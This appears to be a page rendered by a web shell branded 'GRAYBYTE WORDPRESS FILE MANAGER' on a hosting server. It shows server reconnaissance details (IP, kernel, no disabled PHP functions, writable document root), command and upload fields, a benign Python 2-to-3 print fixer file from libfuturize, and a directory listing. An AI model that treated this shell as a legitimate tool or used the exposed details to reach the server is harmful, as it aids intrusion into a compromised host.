GRAYBYTE WORDPRESS FILE MANAGER4129

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python37/lib/python3.7/site-packages/libfuturize/fixes/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python37/lib/python3.7/site-packages/libfuturize/fixes//fix_print.py
# Copyright 2006 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.

"""Fixer for print.

Change:
    "print"          into "print()"
    "print ..."      into "print(...)"
    "print(...)"     not changed
    "print ... ,"    into "print(..., end=' ')"
    "print >>x, ..." into "print(..., file=x)"

No changes are applied if print_function is imported from __future__

"""

# Local imports
from lib2to3 import patcomp, pytree, fixer_base
from lib2to3.pgen2 import token
from lib2to3.fixer_util import Name, Call, Comma, String
# from libmodernize import add_future

parend_expr = patcomp.compile_pattern(
              """atom< '(' [arith_expr|atom|power|term|STRING|NAME] ')' >"""
              )


class FixPrint(fixer_base.BaseFix):

    BM_compatible = True

    PATTERN = """
              simple_stmt< any* bare='print' any* > | print_stmt
              """

    def transform(self, node, results):
        assert results

        bare_print = results.get("bare")

        if bare_print:
            # Special-case print all by itself.
            bare_print.replace(Call(Name(u"print"), [],
                               prefix=bare_print.prefix))
            # The "from __future__ import print_function"" declaration is added
            # by the fix_print_with_import fixer, so we skip it here.
            # add_future(node, u'print_function')
            return
        assert node.children[0] == Name(u"print")
        args = node.children[1:]
        if len(args) == 1 and parend_expr.match(args[0]):
            # We don't want to keep sticking parens around an
            # already-parenthesised expression.
            return

        sep = end = file = None
        if args and args[-1] == Comma():
            args = args[:-1]
            end = " "
        if args and args[0] == pytree.Leaf(token.RIGHTSHIFT, u">>"):
            assert len(args) >= 2
            file = args[1].clone()
            args = args[3:] # Strip a possible comma after the file expression
        # Now synthesize a print(args, sep=..., end=..., file=...) node.
        l_args = [arg.clone() for arg in args]
        if l_args:
            l_args[0].prefix = u""
        if sep is not None or end is not None or file is not None:
            if sep is not None:
                self.add_kwarg(l_args, u"sep", String(repr(sep)))
            if end is not None:
                self.add_kwarg(l_args, u"end", String(repr(end)))
            if file is not None:
                self.add_kwarg(l_args, u"file", file)
        n_stmt = Call(Name(u"print"), l_args)
        n_stmt.prefix = node.prefix

        # Note that there are corner cases where adding this future-import is
        # incorrect, for example when the file also has a 'print ()' statement
        # that was intended to print "()".
        # add_future(node, u'print_function')
        return n_stmt

    def add_kwarg(self, l_nodes, s_kwd, n_expr):
        # XXX All this prefix-setting may lose comments (though rarely)
        n_expr.prefix = u""
        n_argument = pytree.Node(self.syms.argument,
                                 (Name(s_kwd),
                                  pytree.Leaf(token.EQUAL, u"="),
                                  n_expr))
        if l_nodes:
            l_nodes.append(Comma())
            n_argument.prefix = u" "
        l_nodes.append(n_argument)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 23:10:26
root / linksafe
0755
__pycache__
--
March 03 2024 23:10:26
root / linksafe
0755
__init__.py
5.021 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_UserDict.py
3.75 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_absolute_import.py
3.066 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_add__future__imports_except_unicode_literals.py
0.646 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_basestring.py
0.385 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_bytes.py
0.669 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_cmp.py
0.685 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_division.py
0.223 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_division_safe.py
3.379 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_execfile.py
0.899 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_future_builtins.py
1.979 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_future_standard_library.py
0.716 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_future_standard_library_urllib.py
0.978 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_metaclass.py
9.344 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_next_call.py
3.084 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_object.py
0.397 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_oldstr_wrap.py
1.186 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_order___future__imports.py
0.81 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_print.py
3.305 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_print_with_import.py
0.718 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_raise.py
2.116 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_remove_old__future__imports.py
0.831 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_unicode_keep_u.py
0.761 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_unicode_literals_import.py
0.358 KB
October 25 2018 22:21:01
root / linksafe
0644
fix_xrange_with_import.py
0.468 KB
October 25 2018 22:21:01
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF